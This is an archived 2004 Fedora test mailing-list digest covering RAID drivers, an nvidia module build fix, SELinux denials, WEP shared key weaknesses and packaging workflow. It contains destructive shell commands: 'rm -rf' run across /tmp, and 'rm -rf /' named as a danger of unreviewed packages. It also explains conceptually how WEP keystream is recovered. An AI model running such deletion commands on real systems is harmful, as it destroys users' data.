diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 14:17:59 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099689144.3589.30.camel@thomas.camerontech.com> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687142.22473.4.camel@localhost.localdomain> <1099687470.3589.18.camel@thomas.camerontech.com> <1099688159.22473.15.camel@localhost.localdomain> <1099689144.3589.30.camel@thomas.camerontech.com> Message-ID: <1099689479.23542.1.camel@localhost.localdomain> That makes perfect sense for it to be /dev/cdrom. Don't feel bad. > I'm a dumbass - I found them: > > [root at thomas ~]# ls -l /dev/dvd /dev/cdwriter /dev/cdrom > lrwxrwxrwx 1 root root 4 Nov 5 14:10 /dev/cdrom -> scd0 > lrwxrwxrwx 1 root root 4 Nov 5 14:10 /dev/cdwriter -> scd0 > lrwxrwxrwx 1 root root 4 Nov 5 14:10 /dev/dvd -> scd0 -- Kim Lux (Mr.) Diesel Research Inc From maillists at awcconsulting.com Fri Nov 5 21:34:17 2004 From: maillists at awcconsulting.com (AWC Maillists) Date: Fri, 05 Nov 2004 16:34:17 -0500 Subject: Proliant CSB-6 Raid Drivers for Fedora In-Reply-To: <1099604371.16640.23.camel@laptop.fenrus.org> References: <1099594130.7063.5.camel@localhost.localdomain> <1099604371.16640.23.camel@laptop.fenrus.org> Message-ID: <418BF1D9.6010401@awcconsulting.com> Arjan van de Ven wrote: > On Thu, 2004-11-04 at 10:48 -0800, William Hewitt wrote: > >>Slightly off topic..... >> >>Has anyone had any experience with getting these drivers into a >>"virgin" HP and then installing Redhat/Fedora? If so, can someone give >>me a clue - like which one will work? HP's site is not too obvious or >>straightforward.... >> > > > you don't need drivers for this software raid; you can just use the > dmraid software tool! > > Errr, you do if the Kernel does not even recognize the controller drives at all. (Which it does not with this esoteric controller.) And I am always amazed how people seems to think using software raid is as good a solution as using hardware raid. Come on, there is no comparison, hardware RAID is faster and more reliable and has little to no CPU overhead. Software raid can be CPU intensive and not as reliable. As for the CDB-6 RAID drivers... I personally gave up. I talked with HP's Linux department at length and there is no source code available for the CSB-6 drivers. They released some RPMs and floppy images, but they are only available for a few Linux distributions (Fedora is not one of them.) Not a single one of the drivers released by HP/Compaq supports the 2.6 kernal so it does not look very good. I ended up just disabling the onboard RAID controller completely and went with an Adaptec RAID card (which worked out of the box) configured as a RAID5 array with 4x300MB drives. If you use RH9, RHEL2, HP does offers install floppy disc images that you use during the install process to provide the appropriate drivers during setup. (Hint: look for instructions on using a driver disc during an install of Linux...) Good luck and report back if you manage to get it working in Fedora From arjanv at redhat.com Fri Nov 5 21:58:08 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Fri, 05 Nov 2004 22:58:08 +0100 Subject: Proliant CSB-6 Raid Drivers for Fedora In-Reply-To: <418BF1D9.6010401@awcconsulting.com> References: <1099594130.7063.5.camel@localhost.localdomain> <1099604371.16640.23.camel@laptop.fenrus.org> <418BF1D9.6010401@awcconsulting.com> Message-ID: <1099691888.2814.31.camel@laptop.fenrus.org> > Errr, you do if the Kernel does not even recognize the controller drives > at all. (Which it does not with this esoteric controller.) if I can see lspci and lspci -n maybe we can add that. > > And I am > always amazed how people seems to think using software raid is as good a > solution as using hardware raid. Come on, there is no comparison, > hardware RAID is faster and more reliable and has little to no CPU > overhead. Software raid can be CPU intensive and not as reliable. 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WHen I do cd /tmp rm -rf * there is no difference. After once logout Gnome i cannot login Gnome again until I start KDE once. when I remove also hidden files cd /tmp rm -rf .??* then thex X does not start anymore until reboot. The GDM deos not show nothing but background color. This makes me angry. I wonder if it is Fedora only problem or just Gnome problem. Darek Borkowski From cra at WPI.EDU Fri Nov 5 21:58:55 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Fri, 5 Nov 2004 16:58:55 -0500 Subject: 802.11 Shared Key Authentication is bad [was NetworkManager Issues] In-Reply-To: <1099672226.6665.17.camel@dcbw.boston.redhat.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> <1099670560.6622.36.camel@serenity.klika.si> <20041105160822.GR1373@angus.ind.WPI.EDU> <1099672226.6665.17.camel@dcbw.boston.redhat.com> Message-ID: <20041105215855.GS1373@angus.ind.WPI.EDU> On Fri, Nov 05, 2004 at 11:30:26AM -0500, Dan Williams wrote: > On Fri, 2004-11-05 at 11:08 -0500, Charles R. Anderson wrote: > > On Fri, Nov 05, 2004 at 05:02:40PM +0100, Ziga Mahkovec wrote: > > > As for the ipw2100 driver -- versions 0.57+ now actually default to > > > OPEN. But NM overrides this so no harm done. It does make life harder > > > if you're using ifup scripts with shared key authentication though. I > > > had to patch ifup-wireless to force restricted mode. > > > > Shared Key auth is worse than no authentication/encryption at all. > > Anyone with a clue will be using Open System. I don't think we should > > put too much effort into making Shared Key easy to use. > > Charles, > > Why is it so much worse? By doing Shared Key Authentication, you are providing potential crackers with both the Plaintext and the Ciphertext for the same data. This makes is much much easier for a third party to basically figure out what the WEP key is. Here is an excerpt from Jon Edney and William A. Arbaugh's book, Real 802.11 Security, pp. 91-92: "During [shared key] authentication the access point sends a random string of 128 bytes. The way in which this "random" string is generated is not defined, but one would hope at least that it was different for each authentication attempt. The mobile station encrypts the string and sends it back. Sounds good, but hang on a moment--WEP encryption involves generating a sequence of pseudorandom bytes called the key stream and XORing it with the plaintext. So any one watching this transaction now has the plaintext challenge and the encrypted response. Therefore, simply by XORing the two together, the enemy has a copy of the RC4 random bytes. [...] The attacker is "authenticated" without ever knowing the secret key. Hopless! [...] So not only does this approach not authenticate, it actually assists the enemy to attack the encryption keys" > Also, did you read my explanation of how its much much harder with Open > System to figure out if the WEP key is wrong? That's the big sticking > point here. If we can't automatically detect whether the WEP key is > wrong or not (and waiting 30s for a failed DHCP certainly isn't > "automatic"), then we might as well not even try to improve on the > current system-config-network. I agree that that is a problem. However, there is no good way to fix it without compromising the security of the entire system. From lux at diesel-research.com Fri Nov 5 22:01:56 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 15:01:56 -0700 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> Message-ID: <1099692116.30475.1.camel@localhost.localdomain> I'd like to know too. There was a note about this on kerneltrap.org a few weeks back. I think a patch was needed. BTW: Where did you get kernel source from ? I've been running in VESA mode for 3 weeks now. On Fri, 2004-11-05 at 14:59 -0700, Brian Callahan wrote: > Can't build or load nvidia video driver under 667 > > used an nvidia patch from > http://ngc891.blogdns.net/index.php?2004/09/21/3-patched-nvidia-drivers > > but still can't load the driver > > > errors: > # dmesg > nvidia: module license 'NVIDIA' taints kernel. > nvidia: Unknown symbol __VMALLOC_RESERVE > nvidia: Unknown symbol __VMALLOC_RESERVE > > works fine under 2.6.8-541 > > BC > -- Kim Lux (Mr.) Diesel Research Inc From dag at wieers.com Fri Nov 5 22:03:50 2004 From: dag at wieers.com (Dag Wieers) Date: Fri, 5 Nov 2004 23:03:50 +0100 (CET) Subject: Public SPEC files please In-Reply-To: <20041105174703.GB19875@devserv.devel.redhat.com> References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> <20041105182042.437f8db9.fedora@wir-sind-cool.org> <20041105174703.GB19875@devserv.devel.redhat.com> Message-ID: On Fri, 5 Nov 2004, Alan Cox wrote: > On Fri, Nov 05, 2004 at 06:20:42PM +0100, Michael Schwendt wrote: > > > How can 4 people > > > work together if only 1 person can make commits ? > > > > With "poor man's CVS" because of lack of CVS. When four people work > > together, everyone of them can take the most recent src.rpm and either > > submit patches or submit a modified src.rpm. And the others review the > > changes and approve the package (unless they are trusted). > > Linux kernel works this way near enough. Well, I didn't say it was impossible. And that question is actually a poor one, I admit. It's not really a problem that only one person can commit, the problem is that it is hard for the other three to follow development and you need much more communication to get things done. But let me rephrase: + You're only interested in the SPEC file and a few patches and the changes to that SPEC file. In the best case see all the changes that happened since the latest release and by whom. + The SPEC files are inside Source packages that are located on someone's webserver (that at this time is even no longer available). Different packages are on different servers by different packagers. + The only way to know the existence of such a project/package is to find it in bugzilla and look for the different URLs of these packages. So it's rather hard to follow the development of a single package, let alone follow the different developments of many packages. At least with the kernel you take 2 trees and compare those and ou see all changes. Here we're talking about at least 200 packages. (Or how many are there in total now ?) Kind regards, -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From pvinson at fit.edu Fri Nov 5 22:06:35 2004 From: pvinson at fit.edu (Patrick Ryan Vinson) Date: Fri, 05 Nov 2004 17:06:35 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> Message-ID: <1099692395.27568.1.camel@mine.nu> On Fri, 2004-11-05 at 14:59 -0700, Brian Callahan wrote: > Can't build or load nvidia video driver under 667 > > used an nvidia patch from > http://ngc891.blogdns.net/index.php?2004/09/21/3-patched-nvidia-drivers > > but still can't load the driver > > > errors: > # dmesg > nvidia: module license 'NVIDIA' taints kernel. > nvidia: Unknown symbol __VMALLOC_RESERVE > nvidia: Unknown symbol __VMALLOC_RESERVE > > works fine under 2.6.8-541 > > BC > not sure about that patch but all I did was add unsigned int __VMALLOC_RESERVE = 128 << 20; right after: #ifdef MODULE_ALIAS_CHARDEV_MAJOR MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); #endif in the nv.c file and ran the installer. Worked perfectly fine after that. I am currently running the *-667 kernel. Are you making sure your xorg.conf file is setup properly? From notting at redhat.com Fri Nov 5 22:18:32 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 5 Nov 2004 17:18:32 -0500 Subject: FC3 pulic release In-Reply-To: <1099688903.12015.10.camel@saturn.stcl.edu> References: <1099688903.12015.10.camel@saturn.stcl.edu> Message-ID: <20041105221832.GI19765@nostromo.devel.redhat.com> Timothy Sandel (timothy at jupiter.stcl.edu) said: > Is the public release still scheduled for 11-8-2004 ? 2004-11-08 is the preferred date format, to avoid any international confusion. But, yes. :) Bill From lux at diesel-research.com Fri Nov 5 22:23:34 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 15:23:34 -0700 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099692395.27568.1.camel@mine.nu> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> <1099692395.27568.1.camel@mine.nu> Message-ID: <1099693414.31407.0.camel@localhost.localdomain> Thanks. I'll test this on the weekend. Where did you get source from ? On Fri, 2004-11-05 at 17:06 -0500, Patrick Ryan Vinson wrote: > On Fri, 2004-11-05 at 14:59 -0700, Brian Callahan wrote: > > Can't build or load nvidia video driver under 667 > > > > used an nvidia patch from > > http://ngc891.blogdns.net/index.php?2004/09/21/3-patched-nvidia-drivers > > > > but still can't load the driver > > > > > > errors: > > # dmesg > > nvidia: module license 'NVIDIA' taints kernel. > > nvidia: Unknown symbol __VMALLOC_RESERVE > > nvidia: Unknown symbol __VMALLOC_RESERVE > > > > works fine under 2.6.8-541 > > > > BC > > > > not sure about that patch but all I did was add > > unsigned int __VMALLOC_RESERVE = 128 << 20; > > right after: > > #ifdef MODULE_ALIAS_CHARDEV_MAJOR > MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); > #endif > > in the nv.c file and ran the installer. Worked perfectly > fine after that. I am currently running the *-667 kernel. > Are you making sure your xorg.conf file is setup properly? > -- Kim Lux (Mr.) Diesel Research Inc From gene.heskett at verizon.net Fri Nov 5 22:32:34 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Fri, 5 Nov 2004 17:32:34 -0500 Subject: FC3RC5 boot hung Message-ID: <200411051732.34536.gene.heskett@verizon.net> Greetings; Its been hung, but not crashed, the keyboard still works & all that, but I've been looking at the "Configuring kernel parameters" line on screen now for about half an hour. Anybody know what I should kill when I reboot to the rescue disk? Also, which dir, in rc3.d or rc5.d? -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From brian at networklifeline.net Fri Nov 5 22:34:27 2004 From: brian at networklifeline.net (Brian Callahan) Date: Fri, 5 Nov 2004 15:34:27 -0700 Subject: FC3RC5 boot hung Message-ID: <20041105223427.17513.qmail@webmail03.mesa1.secureserver.net> disable rhgb when the grup comes up. Just hit the "e" key then delete rhgb quiet BC > -------- Original Message -------- > Subject: FC3RC5 boot hung > From: "Gene Heskett" > Date: Fri, November 05, 2004 5:32 pm > To: "For testers of Fedora Core development releases" > > > Greetings; > > Its been hung, but not crashed, the keyboard still works & all that, > but I've been looking at the "Configuring kernel parameters" line on > screen now for about half an hour. Anybody know what I should kill > when I reboot to the rescue disk? Also, which dir, in rc3.d or > rc5.d? > > -- > Cheers, Gene > "There are four boxes to be used in defense of liberty: > soap, ballot, jury, and ammo. Please use in that order." > -Ed Howdershelt (Author) > 99.28% setiathome rank, not too shabby for a WV hillbilly > Yahoo.com attorneys please note, additions to this message > by Gene Heskett are: > Copyright 2004 by Maurice Eugene Heskett, all rights reserved. > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From douglas.furlong at firebox.com Fri Nov 5 22:53:32 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Fri, 05 Nov 2004 22:53:32 +0000 Subject: Where did updfstab go? Message-ID: <418C046C.7080206@firebox.com> I've just been asked by my farther why the USB Flash drive does not appear on his machine, I went searching for updfstab which was there a week or two ago, but it has not gone and vamoused on me. Has it's functionality been replaced by some thing else? I am running FC3rc5. I had a look at the fstab-sync --add option, but I don't know how to find the unique UDI's. The device is detected, and was working as I edited the /etc/updfstab to recognise the usb stick. Any help that can be provided would but much appreciated :) Doug From fedora at wir-sind-cool.org Fri Nov 5 22:59:17 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Fri, 5 Nov 2004 23:59:17 +0100 Subject: Public SPEC files please In-Reply-To: References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> <20041105182042.437f8db9.fedora@wir-sind-cool.org> <20041105174703.GB19875@devserv.devel.redhat.com> Message-ID: <20041105235917.786c822d.fedora@wir-sind-cool.org> On Fri, 5 Nov 2004 23:03:50 +0100 (CET), Dag Wieers wrote: > On Fri, 5 Nov 2004, Alan Cox wrote: > > > On Fri, Nov 05, 2004 at 06:20:42PM +0100, Michael Schwendt wrote: > > > > How can 4 people > > > > work together if only 1 person can make commits ? > > > > > > With "poor man's CVS" because of lack of CVS. When four people work > > > together, everyone of them can take the most recent src.rpm and either > > > submit patches or submit a modified src.rpm. And the others review the > > > changes and approve the package (unless they are trusted). > > > > Linux kernel works this way near enough. > > Well, I didn't say it was impossible. And that question is actually a poor > one, I admit. It's not really a problem that only one person can commit, > the problem is that it is hard for the other three to follow development > and you need much more communication to get things done. > > But let me rephrase: > > + You're only interested in the SPEC file and a few patches and the > changes to that SPEC file. In the best case see all the changes that > happened since the latest release and by whom. Then by all means, get in contact with the developer and ask him to either send you the spec or put it online. You do like e-mail. I know that. Suppose somebody takes your spec file and modifies it on his home machine. After several changes he's satisfied with the changes and creates a src.rpm. He opens a ticket at bugzilla.fedora.us and submits the src.rpm for inclusion in the repository. Maybe he even has a web server with a public yum repository, where he offers his selfmade packages. Meanwhile, a different developer has packaged the same software from scratch and submits another package, not noticing the older request. Now what should fedora.us do in such a case? The submitted src.rpms are still on a remote server, the packager's own web space. Suppose reviewers have seen the first package request and downloaded the src.rpm, to find out it seems to have severe problems and doesn't even build. In parallel, another reviewer notices the second submission and closes the ticket as duplicate. Now the two packagers meet eachother. Communication about how to proceed is absolutely necessary at this point, since two spec files and two packagers exist. It should be doable for them to agree on e.g. exchanging diffs or spec files, probably even outside bugzilla. And when they're done, one of them creates a src.rpm, the other one posts a utilisable gpg signed approval, and that is a big step towards getting it published. For updates, they agree to add themselves to Cc. Or they open a meta ticket in bugzilla, which they use for communication and a substitute of a package-specific mailing list. Do we really need to discuss the potential dangers of CVS commit access for everyone? > + The SPEC files are inside Source packages that are located on someone's > webserver (that at this time is even no longer available). Different > packages are on different servers by different packagers. Yes, of course. While everybody is permitted to open package request tickets and provide links to packages (even binary ones!) on external servers, all these have not been reviewed at all by someone other than the submitter. They are not content provided by fedora.us until they are published in the fedora.us repository. Submitted packages could contain malicious software, or, in a less worse scenario, major bugs which rm -rf / for people who would build them as root. So, what are you trying to point out? That fedora.us doesn't offer CVS commit-access for everyone? That no anonymous FTP/HTTP upload space is offered? A CVS server at fedora.us exists, and some packages are developed in it. But afaik it is not connected to the build system. So, final package submission remains bugzilla-based. And why are we discussing this when we wait for official Fedora Extras anyway? > + The only way to know the existence of such a project/package is to find > it in bugzilla and look for the different URLs of these packages. Surprise, surprise. Imagine somebody derived a SuSE Linux package from your spec file, cutting off the %changelog. You might never learn about that. Well, if we still had the fedora-package-announce mailing-list, you would subscribe there and learn about new releases. And no, there is no complete package CVS infrastructure at fedora.us. So, repeat it as often as you like, CVS is hoped for with official (i.e. Red Hat lead) Fedora Extras. > So it's rather hard to follow the development of a single package, let > alone follow the different developments of many packages. As a comparison, how would I follow pre-release development of your packages? Or alternatively, freshrpms? > At least with the kernel you take 2 trees and compare those and ou see > all changes. Here we're talking about at least 200 packages. (Or how many > are there in total now ?) Should be more than 400. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 loadavg: 1.02 1.02 1.09 From michal at harddata.com Fri Nov 5 23:00:06 2004 From: michal at harddata.com (Michal Jaegermann) Date: Fri, 5 Nov 2004 16:00:06 -0700 Subject: Where did updfstab go? In-Reply-To: <418C046C.7080206@firebox.com>; from douglas.furlong@firebox.com on Fri, Nov 05, 2004 at 10:53:32PM +0000 References: <418C046C.7080206@firebox.com> Message-ID: <20041105160006.B542@mail.harddata.com> On Fri, Nov 05, 2004 at 10:53:32PM +0000, Douglas Furlong wrote: > > I had a look at the fstab-sync --add option, but I don't know how to > find the unique UDI's. That is precisely why I asked for some examples in documenation. Try 'lshal' (likely with some options). Michal From dwalsh at redhat.com Fri Nov 5 23:09:47 2004 From: dwalsh at redhat.com (Daniel J Walsh) Date: Fri, 05 Nov 2004 18:09:47 -0500 Subject: apache problem? In-Reply-To: <1099676791.3922.5.camel@nexus.verbum.private> References: <20041105115609.08ecddb0@huii.local> <1099652995.4037.31.camel@fusie.creativ-consulting.de> <1099658224.6373.14.camel@moss-spartans.epoch.ncsc.mil> <1099676791.3922.5.camel@nexus.verbum.private> Message-ID: <418C083B.10607@redhat.com> Colin Walters wrote: >On Fri, 2004-11-05 at 07:37 -0500, Stephen Smalley wrote: > > >>On Fri, 2004-11-05 at 06:09, Thomas Liesner wrote: >> >> >>>I think this has to do with selinux. The corresponding entries >>>in /var/log/messages are: >>> >>> >>> >>>>Nov 5 12:04:55 fusie kernel: audit(1099652695.277:0): avc: denied { getattr } for pid=4587 exe=/usr/sbin/httpd path=/home/thomas/public_html dev=hda3 ino=1456101 scontext=root:system_r:httpd_t tcontext=user_u:object_r:user_home_t tclass=dir >>>> >>>> >>/sbin/restorecon -R /home/thomas/public_html >> >> > >Hm. I'd prefer to introduce users here to "chcon", since in the strict >policy normal users don't have access to file_contexts. Also restorecon >only works if the directory is named public_html. > >Franz/Thomas: there is a guide for SELinux and Apache coming up, there >should be a "beta" version of it by the FC3 release. > > > > This is a bug in targeted policy. Basically there is code in the policy to allow apache to read nfs files but it is turned off in the release. I have update the policy file on ftp://people.redhat.com/dwalsh/SELinux/FC3 to allow this (This is a yum repository.) selinux-policy-targeted-1.17.30-2.20 Or you can try out the latest policy from rawhide selinux-policy-targeted-1.18.1-* Both should have a fix for this. From dag at wieers.com Fri Nov 5 23:19:39 2004 From: dag at wieers.com (Dag Wieers) Date: Sat, 6 Nov 2004 00:19:39 +0100 (CET) Subject: Public SPEC files please In-Reply-To: <20041105235917.786c822d.fedora@wir-sind-cool.org> References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> <20041105182042.437f8db9.fedora@wir-sind-cool.org> <20041105174703.GB19875@devserv.devel.redhat.com> <20041105235917.786c822d.fedora@wir-sind-cool.org> Message-ID: On Fri, 5 Nov 2004, Michael Schwendt wrote: > Do we really need to discuss the potential dangers of CVS commit > access for everyone? I never asked for that. > > + The SPEC files are inside Source packages that are located on someone's > > webserver (that at this time is even no longer available). Different > > packages are on different servers by different packagers. > > And why are we discussing this when we wait for official Fedora Extras > anyway? Ok. That would be an acceptable answer. Instead of disputing everything I say something like this I can live with. Any dates attached to it ? > > + The only way to know the existence of such a project/package is to find > > it in bugzilla and look for the different URLs of these packages. > > Surprise, surprise. Imagine somebody derived a SuSE Linux package from > your spec file, cutting off the %changelog. You might never learn > about that. My request is not (necessarily) about packages that are derived from mine. My query is about being able to follow any development that interest me. To be able to quickly compare eg. the latest fedora.us SPEC, together with the latest Mandrake SPEC, PLD SPEC or openpkg SPEC. All those other projects allow me to do that. Likewise we allow them to do that. And sorry Michael, but if an outsider cannot do that, an insider must have the same problems. > > So it's rather hard to follow the development of a single package, let > > alone follow the different developments of many packages. > > As a comparison, how would I follow pre-release development of your > packages? Or alternatively, freshrpms? That's one and the same subversion: http://svn.rpmforge.net/svn/trunk/rpms/ We build from the same SPEC files. People have access to the changes and can send in patches or fixes that can be reviewed by others when they get submitted by someone with commit access. Not everyone needs commit access to be able to help out. I did never say that. -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From perbj at stanford.edu Fri Nov 5 23:21:32 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Fri, 05 Nov 2004 15:21:32 -0800 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099692116.30475.1.camel@localhost.localdomain> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> <1099692116.30475.1.camel@localhost.localdomain> Message-ID: <1099696892.9703.8.camel@localhost.localdomain> On Fri, 2004-11-05 at 14:01, Kim Lux wrote: > BTW: Where did you get kernel source from ? As per the usual answer here, you really shouldn't need it just to build drivers. I think that Nvidia have picked up that clue by now, all even mildly sane distros have something useful under /lib/modules//build (be it a symlink or a real directory with the needed files). If you actually want the source for building a custom kernel, that's a legitimate use of course, and then there's instructions for how to get the Fedora-patched source tree from the kernel SRPM in the distribution release notes. > I've been running in VESA mode for 3 weeks now. The nv driver, while not providing any 3D acceleration, should be _much_ better than using a vesa driver in terms of usable video modes etc... You might want to use that as a backup instead. Best regards, Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From lux at diesel-research.com Sat Nov 6 00:03:14 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 17:03:14 -0700 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099696892.9703.8.camel@localhost.localdomain> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> <1099692116.30475.1.camel@localhost.localdomain> <1099696892.9703.8.camel@localhost.localdomain> Message-ID: <1099699394.21813.2.camel@localhost.localdomain> I also want to enable ntfs so that I can move data between my Windows partition and Linux. I'll need source for that unless they've enabled ntfs in the kernel as default. I don't think they have: mount -tntfs /dev/hda1 tmp mount: fs type ntfs not supported by kernel On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: > On Fri, 2004-11-05 at 14:01, Kim Lux wrote: > > > BTW: Where did you get kernel source from ? > > As per the usual answer here, you really shouldn't need it just to build > drivers. I think that Nvidia have picked up that clue by now, all even > mildly sane distros have something useful under > /lib/modules//build (be it a symlink or a real directory > with the needed files). > > If you actually want the source for building a custom kernel, that's a > legitimate use of course, and then there's instructions for how to get > the Fedora-patched source tree from the kernel SRPM in the distribution > release notes. > > > I've been running in VESA mode for 3 weeks now. > > The nv driver, while not providing any 3D acceleration, should be _much_ > better than using a vesa driver in terms of usable video modes etc... > You might want to use that as a backup instead. > > Best regards, > Per > > -- > Per Bjornsson > Ph.D. Candidate, Department of Applied Physics, Stanford University > -- Kim Lux (Mr.) Diesel Research Inc From brian at networklifeline.net Sat Nov 6 00:08:40 2004 From: brian at networklifeline.net (Brian Callahan) Date: Fri, 5 Nov 2004 17:08:40 -0700 Subject: nvidia driver kernel 2.6.9 667 Message-ID: <20041106000840.2168.qmail@webmail07.mesa1.secureserver.net> OK I added the line and then ran the installer but now I get a different error /root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv/nv.c:3512: error: `num_nv_de vices' undeclared (first use in this function) make[4]: *** [/root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv/nv.o] Error 1 make[3]: *** [_module_/root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv] Error 2 make[2]: *** [modules] Error 2 NVIDIA: left KBUILD. nvidia.ko failed to build! make[1]: *** [module] Error 1 make: *** [module] Error 2 -> Error. ERROR: Unable to build the NVIDIA kernel module. ERROR: Installation has failed. Please see the file '/var/log/nvidia-installer.log' for details. You may find suggestions on fixing installation problems in the README available on the Linux driver download page at www.nvidia.com. "nv.c file: #ifdef MODULE_ALIAS_CHARDEV_MAJOR MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); #endif unsigned int __VMALLOC_RESERVE = 128 << 20 <----------------------- /* * our global state; one per device " Thanks, BC > -------- Original Message -------- > Subject: Re: nvidia driver kernel 2.6.9 667 > From: "Patrick Ryan Vinson" > Date: Fri, November 05, 2004 5:06 pm > To: "For testers of Fedora Core development releases" > > > On Fri, 2004-11-05 at 14:59 -0700, Brian Callahan wrote: > > Can't build or load nvidia video driver under 667 > > > > used an nvidia patch from > > http://ngc891.blogdns.net/index.php?2004/09/21/3-patched-nvidia-drivers > > > > but still can't load the driver > > > > > > errors: > > # dmesg > > nvidia: module license 'NVIDIA' taints kernel. > > nvidia: Unknown symbol __VMALLOC_RESERVE > > nvidia: Unknown symbol __VMALLOC_RESERVE > > > > works fine under 2.6.8-541 > > > > BC > > > > not sure about that patch but all I did was add > > unsigned int __VMALLOC_RESERVE = 128 << 20; > > right after: > > #ifdef MODULE_ALIAS_CHARDEV_MAJOR > MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); > #endif > > in the nv.c file and ran the installer. Worked perfectly > fine after that. I am currently running the *-667 kernel. > Are you making sure your xorg.conf file is setup properly? > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From brian at networklifeline.net Sat Nov 6 00:18:13 2004 From: brian at networklifeline.net (Brian Callahan) Date: Fri, 5 Nov 2004 17:18:13 -0700 Subject: nvidia driver kernel 2.6.9 667 Message-ID: <20041106001813.11301.qmail@webmail01.mesa1.secureserver.net> OK I had the "unsigned" line too high in the nv.c file I had to move it down a liitle bit below the global state line and everything loads THANK YOU !!! > -------- Original Message -------- > Subject: RE: nvidia driver kernel 2.6.9 667 > From: "Brian Callahan" > Date: Fri, November 05, 2004 7:08 pm > To: pvinson at fit.edu, "For testers of Fedora Core development releases" > > > OK I added the line and then ran the installer but now I get a different > error > > /root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv/nv.c:3512: error: > `num_nv_de > vices' undeclared (first use in this function) > make[4]: *** [/root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv/nv.o] > Error 1 > make[3]: *** > [_module_/root/NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv] Error > 2 > make[2]: *** [modules] Error 2 > NVIDIA: left KBUILD. > nvidia.ko failed to build! > make[1]: *** [module] Error 1 > make: *** [module] Error 2 > -> Error. > ERROR: Unable to build the NVIDIA kernel module. > ERROR: Installation has failed. Please see the file > '/var/log/nvidia-installer.log' for details. You may find > suggestions > on fixing installation problems in the README available on the > Linux > driver download page at www.nvidia.com. > > > "nv.c file: > #ifdef MODULE_ALIAS_CHARDEV_MAJOR > MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); > #endif > unsigned int __VMALLOC_RESERVE = 128 << 20 <----------------------- > /* > * our global state; one per device > " > > Thanks, > BC > > > > > > -------- Original Message -------- > > Subject: Re: nvidia driver kernel 2.6.9 667 > > From: "Patrick Ryan Vinson" > > Date: Fri, November 05, 2004 5:06 pm > > To: "For testers of Fedora Core development releases" > > > > > > On Fri, 2004-11-05 at 14:59 -0700, Brian Callahan wrote: > > > Can't build or load nvidia video driver under 667 > > > > > > used an nvidia patch from > > > http://ngc891.blogdns.net/index.php?2004/09/21/3-patched-nvidia-drivers > > > > > > but still can't load the driver > > > > > > > > > errors: > > > # dmesg > > > nvidia: module license 'NVIDIA' taints kernel. > > > nvidia: Unknown symbol __VMALLOC_RESERVE > > > nvidia: Unknown symbol __VMALLOC_RESERVE > > > > > > works fine under 2.6.8-541 > > > > > > BC > > > > > > > not sure about that patch but all I did was add > > > > unsigned int __VMALLOC_RESERVE = 128 << 20; > > > > right after: > > > > #ifdef MODULE_ALIAS_CHARDEV_MAJOR > > 